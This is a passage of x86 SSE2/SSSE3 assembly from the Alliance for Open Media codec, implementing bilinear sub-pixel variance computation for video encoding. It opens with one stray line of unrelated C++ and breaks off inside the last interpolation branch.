main_->OutputDispatch()->SendMessage(&msg, level_conn);
}
|
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aomedia.org/license/software. If the Alliance for Open
; Media Patent License 1.0 was not distributed with this source code in the
; PATENTS file, you can obtain it at www.aomedia.org/license/patent.
;
;
%include "third_party/x86inc/x86inc.asm"
SECTION_RODATA
pw_8: times 8 dw 8
bilin_filter_m_sse2: times 8 dw 16
times 8 dw 0
times 8 dw 14
times 8 dw 2
times 8 dw 12
times 8 dw 4
times 8 dw 10
times 8 dw 6
times 16 dw 8
times 8 dw 6
times 8 dw 10
times 8 dw 4
times 8 dw 12
times 8 dw 2
times 8 dw 14
bilin_filter_m_ssse3: times 8 db 16, 0
times 8 db 14, 2
times 8 db 12, 4
times 8 db 10, 6
times 16 db 8
times 8 db 6, 10
times 8 db 4, 12
times 8 db 2, 14
SECTION .text
; int aom_sub_pixel_varianceNxh(const uint8_t *src, ptrdiff_t src_stride,
; int x_offset, int y_offset,
; const uint8_t *dst, ptrdiff_t dst_stride,
; int height, unsigned int *sse);
;
; This function returns the SE and stores SSE in the given pointer.
%macro SUM_SSE 6 ; src1, dst1, src2, dst2, sum, sse
psubw %3, %4
psubw %1, %2
paddw %5, %3
pmaddwd %3, %3
paddw %5, %1
pmaddwd %1, %1
paddd %6, %3
paddd %6, %1
%endmacro
%macro STORE_AND_RET 1
%if %1 > 4
; if H=64 and W=16, we have 8 words of each 2(1bit)x64(6bit)x9bit=16bit
; in m6, i.e. it _exactly_ fits in a signed word per word in the xmm reg.
; We have to sign-extend it before adding the words within the register
; and outputing to a dword.
pcmpgtw m5, m6 ; mask for 0 > x
movhlps m3, m7
punpcklwd m4, m6, m5
punpckhwd m6, m5 ; sign-extend m6 word->dword
paddd m7, m3
paddd m6, m4
pshufd m3, m7, 0x1
movhlps m4, m6
paddd m7, m3
paddd m6, m4
mov r1, ssem ; r1 = unsigned int *sse
pshufd m4, m6, 0x1
movd [r1], m7 ; store sse
paddd m6, m4
movd raxd, m6 ; store sum as return value
%else ; 4xh
pshuflw m4, m6, 0xe
pshuflw m3, m7, 0xe
paddw m6, m4
paddd m7, m3
pcmpgtw m5, m6 ; mask for 0 > x
mov r1, ssem ; r1 = unsigned int *sse
punpcklwd m6, m5 ; sign-extend m6 word->dword
movd [r1], m7 ; store sse
pshuflw m4, m6, 0xe
paddd m6, m4
movd raxd, m6 ; store sum as return value
%endif
RET
%endmacro
%macro INC_SRC_BY_SRC_STRIDE 0
%if ARCH_X86=1 && CONFIG_PIC=1
add srcq, src_stridemp
%else
add srcq, src_strideq
%endif
%endmacro
%macro SUBPEL_VARIANCE 1-2 0 ; W
%if cpuflag(ssse3)
%define bilin_filter_m bilin_filter_m_ssse3
%define filter_idx_shift 4
%else
%define bilin_filter_m bilin_filter_m_sse2
%define filter_idx_shift 5
%endif
; FIXME(rbultje) only bilinear filters use >8 registers, and ssse3 only uses
; 11, not 13, if the registers are ordered correctly. May make a minor speed
; difference on Win64
%ifdef PIC ; 64bit PIC
%if %2 == 1 ; avg
cglobal sub_pixel_avg_variance%1xh, 9, 10, 13, src, src_stride, \
x_offset, y_offset, \
dst, dst_stride, \
sec, sec_stride, height, sse
%define sec_str sec_strideq
%else
cglobal sub_pixel_variance%1xh, 7, 8, 13, src, src_stride, x_offset, \
y_offset, dst, dst_stride, height, sse
%endif
%define block_height heightd
%define bilin_filter sseq
%else
%if ARCH_X86=1 && CONFIG_PIC=1
%if %2 == 1 ; avg
cglobal sub_pixel_avg_variance%1xh, 7, 7, 13, src, src_stride, \
x_offset, y_offset, \
dst, dst_stride, \
sec, sec_stride, \
height, sse, g_bilin_filter, g_pw_8
%define block_height dword heightm
%define sec_str sec_stridemp
;Store bilin_filter and pw_8 location in stack
%if GET_GOT_DEFINED == 1
GET_GOT eax
add esp, 4 ; restore esp
%endif
lea ecx, [GLOBAL(bilin_filter_m)]
mov g_bilin_filterm, ecx
lea ecx, [GLOBAL(pw_8)]
mov g_pw_8m, ecx
LOAD_IF_USED 0, 1 ; load eax, ecx back
%else
cglobal sub_pixel_variance%1xh, 7, 7, 13, src, src_stride, x_offset, \
y_offset, dst, dst_stride, height, sse, \
g_bilin_filter, g_pw_8
%define block_height heightd
;Store bilin_filter and pw_8 location in stack
%if GET_GOT_DEFINED == 1
GET_GOT eax
add esp, 4 ; restore esp
%endif
lea ecx, [GLOBAL(bilin_filter_m)]
mov g_bilin_filterm, ecx
lea ecx, [GLOBAL(pw_8)]
mov g_pw_8m, ecx
LOAD_IF_USED 0, 1 ; load eax, ecx back
%endif
%else
%if %2 == 1 ; avg
cglobal sub_pixel_avg_variance%1xh, 7 + 2 * ARCH_X86_64, \
7 + 2 * ARCH_X86_64, 13, src, src_stride, \
x_offset, y_offset, \
dst, dst_stride, \
sec, sec_stride, \
height, sse
%if ARCH_X86_64
%define block_height heightd
%define sec_str sec_strideq
%else
%define block_height dword heightm
%define sec_str sec_stridemp
%endif
%else
cglobal sub_pixel_variance%1xh, 7, 7, 13, src, src_stride, x_offset, \
y_offset, dst, dst_stride, height, sse
%define block_height heightd
%endif
%define bilin_filter bilin_filter_m
%endif
%endif
%if %1 == 4
%define movx movd
%else
%define movx movh
%endif
ASSERT %1 <= 16 ; m6 overflows if w > 16
pxor m6, m6 ; sum
pxor m7, m7 ; sse
; FIXME(rbultje) if both filters are bilinear, we don't actually use m5; we
; could perhaps use it for something more productive then
pxor m5, m5 ; dedicated zero register
%if %1 < 16
sar block_height, 1
%if %2 == 1 ; avg
shl sec_str, 1
%endif
%endif
; FIXME(rbultje) replace by jumptable?
test x_offsetd, x_offsetd
jnz .x_nonzero
; x_offset == 0
test y_offsetd, y_offsetd
jnz .x_zero_y_nonzero
; x_offset == 0 && y_offset == 0
.x_zero_y_zero_loop:
%if %1 == 16
movu m0, [srcq]
mova m1, [dstq]
%if %2 == 1 ; avg
pavgb m0, [secq]
punpckhbw m3, m1, m5
punpcklbw m1, m5
%endif
punpckhbw m2, m0, m5
punpcklbw m0, m5
%if %2 == 0 ; !avg
punpckhbw m3, m1, m5
punpcklbw m1, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
%if %2 == 1 ; avg
%if %1 > 4
movhps m0, [srcq+src_strideq]
%else ; 4xh
movx m1, [srcq+src_strideq]
punpckldq m0, m1
%endif
%else ; !avg
movx m2, [srcq+src_strideq]
%endif
movx m1, [dstq]
movx m3, [dstq+dst_strideq]
%if %2 == 1 ; avg
%if %1 > 4
pavgb m0, [secq]
%else
movh m2, [secq]
pavgb m0, m2
%endif
punpcklbw m3, m5
punpcklbw m1, m5
%if %1 > 4
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else ; 4xh
punpcklbw m0, m5
movhlps m2, m0
%endif
%else ; !avg
punpcklbw m0, m5
punpcklbw m2, m5
punpcklbw m3, m5
punpcklbw m1, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_zero_y_zero_loop
STORE_AND_RET %1
.x_zero_y_nonzero:
cmp y_offsetd, 4
jne .x_zero_y_nonhalf
; x_offset == 0 && y_offset == 0.5
.x_zero_y_half_loop:
%if %1 == 16
movu m0, [srcq]
movu m4, [srcq+src_strideq]
mova m1, [dstq]
pavgb m0, m4
punpckhbw m3, m1, m5
%if %2 == 1 ; avg
pavgb m0, [secq]
%endif
punpcklbw m1, m5
punpckhbw m2, m0, m5
punpcklbw m0, m5
SUM_SSE m0, m1, m2, m3, m6, m7
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m2, [srcq+src_strideq]
%if %2 == 1 ; avg
%if %1 > 4
movhps m2, [srcq+src_strideq*2]
%else ; 4xh
movx m1, [srcq+src_strideq*2]
punpckldq m2, m1
%endif
movx m1, [dstq]
%if %1 > 4
movlhps m0, m2
%else ; 4xh
punpckldq m0, m2
%endif
movx m3, [dstq+dst_strideq]
pavgb m0, m2
punpcklbw m1, m5
%if %1 > 4
pavgb m0, [secq]
punpcklbw m3, m5
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else ; 4xh
movh m4, [secq]
pavgb m0, m4
punpcklbw m3, m5
punpcklbw m0, m5
movhlps m2, m0
%endif
%else ; !avg
movx m4, [srcq+src_strideq*2]
movx m1, [dstq]
pavgb m0, m2
movx m3, [dstq+dst_strideq]
pavgb m2, m4
punpcklbw m0, m5
punpcklbw m2, m5
punpcklbw m3, m5
punpcklbw m1, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_zero_y_half_loop
STORE_AND_RET %1
.x_zero_y_nonhalf:
; x_offset == 0 && y_offset == bilin interpolation
%ifdef PIC
lea bilin_filter, [bilin_filter_m]
%endif
shl y_offsetd, filter_idx_shift
%if ARCH_X86_64 && %1 > 4
mova m8, [bilin_filter+y_offsetq]
%if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64
mova m9, [bilin_filter+y_offsetq+16]
%endif
mova m10, [pw_8]
%define filter_y_a m8
%define filter_y_b m9
%define filter_rnd m10
%else ; x86-32 or mmx
%if ARCH_X86=1 && CONFIG_PIC=1
; x_offset == 0, reuse x_offset reg
%define tempq x_offsetq
add y_offsetq, g_bilin_filterm
%define filter_y_a [y_offsetq]
%define filter_y_b [y_offsetq+16]
mov tempq, g_pw_8m
%define filter_rnd [tempq]
%else
add y_offsetq, bilin_filter
%define filter_y_a [y_offsetq]
%define filter_y_b [y_offsetq+16]
%define filter_rnd [pw_8]
%endif
%endif
.x_zero_y_other_loop:
%if %1 == 16
movu m0, [srcq]
movu m4, [srcq+src_strideq]
mova m1, [dstq]
%if cpuflag(ssse3)
punpckhbw m2, m0, m4
punpcklbw m0, m4
pmaddubsw m2, filter_y_a
pmaddubsw m0, filter_y_a
paddw m2, filter_rnd
paddw m0, filter_rnd
%else
punpckhbw m2, m0, m5
punpckhbw m3, m4, m5
punpcklbw m0, m5
punpcklbw m4, m5
; FIXME(rbultje) instead of out=((num-x)*in1+x*in2+rnd)>>log2(num), we can
; also do out=in1+(((num-x)*(in2-in1)+rnd)>>log2(num)). Total number of
; instructions is the same (5), but it is 1 mul instead of 2, so might be
; slightly faster because of pmullw latency. It would also cut our rodata
; tables in half for this function, and save 1-2 registers on x86-64.
pmullw m2, filter_y_a
pmullw m3, filter_y_b
paddw m2, filter_rnd
pmullw m0, filter_y_a
pmullw m4, filter_y_b
paddw m0, filter_rnd
paddw m2, m3
paddw m0, m4
%endif
psraw m2, 4
psraw m0, 4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
packuswb m0, m2
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%endif
punpckhbw m3, m1, m5
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m2, [srcq+src_strideq]
movx m4, [srcq+src_strideq*2]
movx m3, [dstq+dst_strideq]
%if cpuflag(ssse3)
movx m1, [dstq]
punpcklbw m0, m2
punpcklbw m2, m4
pmaddubsw m0, filter_y_a
pmaddubsw m2, filter_y_a
punpcklbw m3, m5
paddw m2, filter_rnd
paddw m0, filter_rnd
%else
punpcklbw m0, m5
punpcklbw m2, m5
punpcklbw m4, m5
pmullw m0, filter_y_a
pmullw m1, m2, filter_y_b
punpcklbw m3, m5
paddw m0, filter_rnd
pmullw m2, filter_y_a
pmullw m4, filter_y_b
paddw m0, m1
paddw m2, filter_rnd
movx m1, [dstq]
paddw m2, m4
%endif
psraw m0, 4
psraw m2, 4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
%if %1 == 4
movlhps m0, m2
%endif
packuswb m0, m2
%if %1 > 4
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else ; 4xh
movh m2, [secq]
pavgb m0, m2
punpcklbw m0, m5
movhlps m2, m0
%endif
%endif
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_zero_y_other_loop
%undef filter_y_a
%undef filter_y_b
%undef filter_rnd
STORE_AND_RET %1
.x_nonzero:
cmp x_offsetd, 4
jne .x_nonhalf
; x_offset == 0.5
test y_offsetd, y_offsetd
jnz .x_half_y_nonzero
; x_offset == 0.5 && y_offset == 0
.x_half_y_zero_loop:
%if %1 == 16
movu m0, [srcq]
movu m4, [srcq+1]
mova m1, [dstq]
pavgb m0, m4
punpckhbw m3, m1, m5
%if %2 == 1 ; avg
pavgb m0, [secq]
%endif
punpcklbw m1, m5
punpckhbw m2, m0, m5
punpcklbw m0, m5
SUM_SSE m0, m1, m2, m3, m6, m7
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m4, [srcq+1]
%if %2 == 1 ; avg
%if %1 > 4
movhps m0, [srcq+src_strideq]
movhps m4, [srcq+src_strideq+1]
%else ; 4xh
movx m1, [srcq+src_strideq]
punpckldq m0, m1
movx m2, [srcq+src_strideq+1]
punpckldq m4, m2
%endif
movx m1, [dstq]
movx m3, [dstq+dst_strideq]
pavgb m0, m4
punpcklbw m3, m5
%if %1 > 4
pavgb m0, [secq]
punpcklbw m1, m5
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else ; 4xh
movh m2, [secq]
pavgb m0, m2
punpcklbw m1, m5
punpcklbw m0, m5
movhlps m2, m0
%endif
%else ; !avg
movx m2, [srcq+src_strideq]
movx m1, [dstq]
pavgb m0, m4
movx m4, [srcq+src_strideq+1]
movx m3, [dstq+dst_strideq]
pavgb m2, m4
punpcklbw m0, m5
punpcklbw m2, m5
punpcklbw m3, m5
punpcklbw m1, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_half_y_zero_loop
STORE_AND_RET %1
.x_half_y_nonzero:
cmp y_offsetd, 4
jne .x_half_y_nonhalf
; x_offset == 0.5 && y_offset == 0.5
%if %1 == 16
movu m0, [srcq]
movu m3, [srcq+1]
add srcq, src_strideq
pavgb m0, m3
.x_half_y_half_loop:
movu m4, [srcq]
movu m3, [srcq+1]
mova m1, [dstq]
pavgb m4, m3
punpckhbw m3, m1, m5
pavgb m0, m4
%if %2 == 1 ; avg
punpcklbw m1, m5
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else
punpckhbw m2, m0, m5
punpcklbw m0, m5
punpcklbw m1, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m3, [srcq+1]
add srcq, src_strideq
pavgb m0, m3
.x_half_y_half_loop:
movx m2, [srcq]
movx m3, [srcq+1]
%if %2 == 1 ; avg
%if %1 > 4
movhps m2, [srcq+src_strideq]
movhps m3, [srcq+src_strideq+1]
%else
movx m1, [srcq+src_strideq]
punpckldq m2, m1
movx m1, [srcq+src_strideq+1]
punpckldq m3, m1
%endif
pavgb m2, m3
%if %1 > 4
movlhps m0, m2
movhlps m4, m2
%else ; 4xh
punpckldq m0, m2
pshuflw m4, m2, 0xe
%endif
movx m1, [dstq]
pavgb m0, m2
movx m3, [dstq+dst_strideq]
%if %1 > 4
pavgb m0, [secq]
%else
movh m2, [secq]
pavgb m0, m2
%endif
punpcklbw m3, m5
punpcklbw m1, m5
%if %1 > 4
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else
punpcklbw m0, m5
movhlps m2, m0
%endif
%else ; !avg
movx m4, [srcq+src_strideq]
movx m1, [srcq+src_strideq+1]
pavgb m2, m3
pavgb m4, m1
pavgb m0, m2
pavgb m2, m4
movx m1, [dstq]
movx m3, [dstq+dst_strideq]
punpcklbw m0, m5
punpcklbw m2, m5
punpcklbw m3, m5
punpcklbw m1, m5
%endif
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_half_y_half_loop
STORE_AND_RET %1
.x_half_y_nonhalf:
; x_offset == 0.5 && y_offset == bilin interpolation
%ifdef PIC
lea bilin_filter, [bilin_filter_m]
%endif
shl y_offsetd, filter_idx_shift
%if ARCH_X86_64 && %1 > 4
mova m8, [bilin_filter+y_offsetq]
%if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64
mova m9, [bilin_filter+y_offsetq+16]
%endif
mova m10, [pw_8]
%define filter_y_a m8
%define filter_y_b m9
%define filter_rnd m10
%else ;x86_32
%if ARCH_X86=1 && CONFIG_PIC=1
; x_offset == 0.5. We can reuse x_offset reg
%define tempq x_offsetq
add y_offsetq, g_bilin_filterm
%define filter_y_a [y_offsetq]
%define filter_y_b [y_offsetq+16]
mov tempq, g_pw_8m
%define filter_rnd [tempq]
%else
add y_offsetq, bilin_filter
%define filter_y_a [y_offsetq]
%define filter_y_b [y_offsetq+16]
%define filter_rnd [pw_8]
%endif
%endif
%if %1 == 16
movu m0, [srcq]
movu m3, [srcq+1]
add srcq, src_strideq
pavgb m0, m3
.x_half_y_other_loop:
movu m4, [srcq]
movu m2, [srcq+1]
mova m1, [dstq]
pavgb m4, m2
%if cpuflag(ssse3)
punpckhbw m2, m0, m4
punpcklbw m0, m4
pmaddubsw m2, filter_y_a
pmaddubsw m0, filter_y_a
paddw m2, filter_rnd
paddw m0, filter_rnd
psraw m2, 4
%else
punpckhbw m2, m0, m5
punpckhbw m3, m4, m5
pmullw m2, filter_y_a
pmullw m3, filter_y_b
paddw m2, filter_rnd
punpcklbw m0, m5
paddw m2, m3
punpcklbw m3, m4, m5
pmullw m0, filter_y_a
pmullw m3, filter_y_b
paddw m0, filter_rnd
psraw m2, 4
paddw m0, m3
%endif
punpckhbw m3, m1, m5
psraw m0, 4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
packuswb m0, m2
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%endif
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m3, [srcq+1]
add srcq, src_strideq
pavgb m0, m3
%if notcpuflag(ssse3)
punpcklbw m0, m5
%endif
.x_half_y_other_loop:
movx m2, [srcq]
movx m1, [srcq+1]
movx m4, [srcq+src_strideq]
movx m3, [srcq+src_strideq+1]
pavgb m2, m1
pavgb m4, m3
movx m3, [dstq+dst_strideq]
%if cpuflag(ssse3)
movx m1, [dstq]
punpcklbw m0, m2
punpcklbw m2, m4
pmaddubsw m0, filter_y_a
pmaddubsw m2, filter_y_a
punpcklbw m3, m5
paddw m0, filter_rnd
paddw m2, filter_rnd
%else
punpcklbw m2, m5
punpcklbw m4, m5
pmullw m0, filter_y_a
pmullw m1, m2, filter_y_b
punpcklbw m3, m5
paddw m0, filter_rnd
pmullw m2, filter_y_a
paddw m0, m1
pmullw m1, m4, filter_y_b
paddw m2, filter_rnd
paddw m2, m1
movx m1, [dstq]
%endif
psraw m0, 4
psraw m2, 4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
%if %1 == 4
movlhps m0, m2
%endif
packuswb m0, m2
%if %1 > 4
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else
movh m2, [secq]
pavgb m0, m2
punpcklbw m0, m5
movhlps m2, m0
%endif
%endif
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_half_y_other_loop
%undef filter_y_a
%undef filter_y_b
%undef filter_rnd
STORE_AND_RET %1
.x_nonhalf:
test y_offsetd, y_offsetd
jnz .x_nonhalf_y_nonzero
; x_offset == bilin interpolation && y_offset == 0
%ifdef PIC
lea bilin_filter, [bilin_filter_m]
%endif
shl x_offsetd, filter_idx_shift
%if ARCH_X86_64 && %1 > 4
mova m8, [bilin_filter+x_offsetq]
%if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64
mova m9, [bilin_filter+x_offsetq+16]
%endif
mova m10, [pw_8]
%define filter_x_a m8
%define filter_x_b m9
%define filter_rnd m10
%else ; x86-32
%if ARCH_X86=1 && CONFIG_PIC=1
;y_offset == 0. We can reuse y_offset reg.
%define tempq y_offsetq
add x_offsetq, g_bilin_filterm
%define filter_x_a [x_offsetq]
%define filter_x_b [x_offsetq+16]
mov tempq, g_pw_8m
%define filter_rnd [tempq]
%else
add x_offsetq, bilin_filter
%define filter_x_a [x_offsetq]
%define filter_x_b [x_offsetq+16]
%define filter_rnd [pw_8]
%endif
%endif
.x_other_y_zero_loop:
%if %1 == 16
movu m0, [srcq]
movu m4, [srcq+1]
mova m1, [dstq]
%if cpuflag(ssse3)
punpckhbw m2, m0, m4
punpcklbw m0, m4
pmaddubsw m2, filter_x_a
pmaddubsw m0, filter_x_a
paddw m2, filter_rnd
paddw m0, filter_rnd
%else
punpckhbw m2, m0, m5
punpckhbw m3, m4, m5
punpcklbw m0, m5
punpcklbw m4, m5
pmullw m2, filter_x_a
pmullw m3, filter_x_b
paddw m2, filter_rnd
pmullw m0, filter_x_a
pmullw m4, filter_x_b
paddw m0, filter_rnd
paddw m2, m3
paddw m0, m4
%endif
psraw m2, 4
psraw m0, 4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
packuswb m0, m2
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%endif
punpckhbw m3, m1, m5
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m1, [srcq+1]
movx m2, [srcq+src_strideq]
movx m4, [srcq+src_strideq+1]
movx m3, [dstq+dst_strideq]
%if cpuflag(ssse3)
punpcklbw m0, m1
movx m1, [dstq]
punpcklbw m2, m4
pmaddubsw m0, filter_x_a
pmaddubsw m2, filter_x_a
punpcklbw m3, m5
paddw m0, filter_rnd
paddw m2, filter_rnd
%else
punpcklbw m0, m5
punpcklbw m1, m5
punpcklbw m2, m5
punpcklbw m4, m5
pmullw m0, filter_x_a
pmullw m1, filter_x_b
punpcklbw m3, m5
paddw m0, filter_rnd
pmullw m2, filter_x_a
pmullw m4, filter_x_b
paddw m0, m1
paddw m2, filter_rnd
movx m1, [dstq]
paddw m2, m4
%endif
psraw m0, 4
psraw m2, 4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
%if %1 == 4
movlhps m0, m2
%endif
packuswb m0, m2
%if %1 > 4
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else
movh m2, [secq]
pavgb m0, m2
punpcklbw m0, m5
movhlps m2, m0
%endif
%endif
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_other_y_zero_loop
%undef filter_x_a
%undef filter_x_b
%undef filter_rnd
STORE_AND_RET %1
.x_nonhalf_y_nonzero:
cmp y_offsetd, 4
jne .x_nonhalf_y_nonhalf
; x_offset == bilin interpolation && y_offset == 0.5
%ifdef PIC
lea bilin_filter, [bilin_filter_m]
%endif
shl x_offsetd, filter_idx_shift
%if ARCH_X86_64 && %1 > 4
mova m8, [bilin_filter+x_offsetq]
%if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64
mova m9, [bilin_filter+x_offsetq+16]
%endif
mova m10, [pw_8]
%define filter_x_a m8
%define filter_x_b m9
%define filter_rnd m10
%else ; x86-32
%if ARCH_X86=1 && CONFIG_PIC=1
; y_offset == 0.5. We can reuse y_offset reg.
%define tempq y_offsetq
add x_offsetq, g_bilin_filterm
%define filter_x_a [x_offsetq]
%define filter_x_b [x_offsetq+16]
mov tempq, g_pw_8m
%define filter_rnd [tempq]
%else
add x_offsetq, bilin_filter
%define filter_x_a [x_offsetq]
%define filter_x_b [x_offsetq+16]
%define filter_rnd [pw_8]
%endif
%endif
%if %1 == 16
movu m0, [srcq]
movu m1, [srcq+1]
%if cpuflag(ssse3)
punpckhbw m2, m0, m1
punpcklbw m0, m1
pmaddubsw m2, filter_x_a
pmaddubsw m0, filter_x_a
paddw m2, filter_rnd
paddw m0, filter_rnd
%else
punpckhbw m2, m0, m5
punpckhbw m3, m1, m5
punpcklbw m0, m5
punpcklbw m1, m5
pmullw m0, filter_x_a
pmullw m1, filter_x_b
paddw m0, filter_rnd
pmullw m2, filter_x_a
pmullw m3, filter_x_b
paddw m2, filter_rnd
paddw m0, m1
paddw m2, m3
%endif
psraw m0, 4
psraw m2, 4
add srcq, src_strideq
packuswb m0, m2
.x_other_y_half_loop:
movu m4, [srcq]
movu m3, [srcq+1]
%if cpuflag(ssse3)
mova m1, [dstq]
punpckhbw m2, m4, m3
punpcklbw m4, m3
pmaddubsw m2, filter_x_a
pmaddubsw m4, filter_x_a
paddw m2, filter_rnd
paddw m4, filter_rnd
psraw m2, 4
psraw m4, 4
packuswb m4, m2
pavgb m0, m4
punpckhbw m3, m1, m5
punpcklbw m1, m5
%else
punpckhbw m2, m4, m5
punpckhbw m1, m3, m5
punpcklbw m4, m5
punpcklbw m3, m5
pmullw m4, filter_x_a
pmullw m3, filter_x_b
paddw m4, filter_rnd
pmullw m2, filter_x_a
pmullw m1, filter_x_b
paddw m2, filter_rnd
paddw m4, m3
paddw m2, m1
mova m1, [dstq]
psraw m4, 4
psraw m2, 4
punpckhbw m3, m1, m5
; FIXME(rbultje) the repeated pack/unpack here around m0/m2 is because we
; have a 1-register shortage to be able to store the backup of the bilin
; filtered second line as words as cache for the next line. Packing into
; a byte costs 1 pack and 2 unpacks, but saves a register.
packuswb m4, m2
punpcklbw m1, m5
pavgb m0, m4
%endif
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline
pavgb m0, [secq]
%endif
punpckhbw m2, m0, m5
punpcklbw m0, m5
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
add srcq, src_strideq
add dstq, dst_strideq
%else ; %1 < 16
movx m0, [srcq]
movx m1, [srcq+1]
%if cpuflag(ssse3)
punpcklbw m0, m1
pmaddubsw m0, filter_x_a
paddw m0, filter_rnd
%else
punpcklbw m0, m5
punpcklbw m1, m5
pmullw m0, filter_x_a
pmullw m1, filter_x_b
paddw m0, filter_rnd
paddw m0, m1
%endif
add srcq, src_strideq
psraw m0, 4
.x_other_y_half_loop:
movx m2, [srcq]
movx m1, [srcq+1]
movx m4, [srcq+src_strideq]
movx m3, [srcq+src_strideq+1]
%if cpuflag(ssse3)
punpcklbw m2, m1
punpcklbw m4, m3
pmaddubsw m2, filter_x_a
pmaddubsw m4, filter_x_a
movx m1, [dstq]
movx m3, [dstq+dst_strideq]
paddw m2, filter_rnd
paddw m4, filter_rnd
%else
punpcklbw m2, m5
punpcklbw m1, m5
punpcklbw m4, m5
punpcklbw m3, m5
pmullw m2, filter_x_a
pmullw m1, filter_x_b
paddw m2, filter_rnd
pmullw m4, filter_x_a
pmullw m3, filter_x_b
paddw m4, filter_rnd
paddw m2, m1
movx m1, [dstq]
paddw m4, m3
movx m3, [dstq+dst_strideq]
%endif
psraw m2, 4
psraw m4, 4
pavgw m0, m2
pavgw m2, m4
%if %2 == 1 ; avg
; FIXME(rbultje) pipeline - also consider going to bytes here
%if %1 == 4
movlhps m0, m2
%endif
packuswb m0, m2
%if %1 > 4
pavgb m0, [secq]
punpckhbw m2, m0, m5
punpcklbw m0, m5
%else
movh m2, [secq]
pavgb m0, m2
punpcklbw m0, m5
movhlps m2, m0
%endif
%endif
punpcklbw m3, m5
punpcklbw m1, m5
SUM_SSE m0, m1, m2, m3, m6, m7
mova m0, m4
lea srcq, [srcq+src_strideq*2]
lea dstq, [dstq+dst_strideq*2]
%endif
%if %2 == 1 ; avg
add secq, sec_str
%endif
dec block_height
jg .x_other_y_half_loop
%undef filter_x_a
%undef filter_x_b
%undef filter_rnd
STORE_AND_RET %1
.x_nonhalf_y_nonhalf:
%ifdef PIC
lea bilin_filter, [bilin_filter_m]
%endif
shl x_offsetd, filter_idx_shift
shl y_offsetd, filter_idx_shift
%if ARCH_X86_64 && %1 > 4
mova m8, [bilin_filter+x_offsetq]
%if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64
mova m9, [bilin_filter+x_offsetq+16]
%endif
mova m10, [bilin_filter+y_offsetq]
%if notcpuflag(ssse3) ; FIXME(rbultje) don't scatter registers on x86-64
mova m11, [bilin_filter+y_offsetq+16]
%endif
mova m12, [pw_8]
%define filter_x_a m8
%define filter_x_b m9
%define filter_y_a m10
%define filter_y_b m11
%define filter_rnd m12
%else ; x86-32
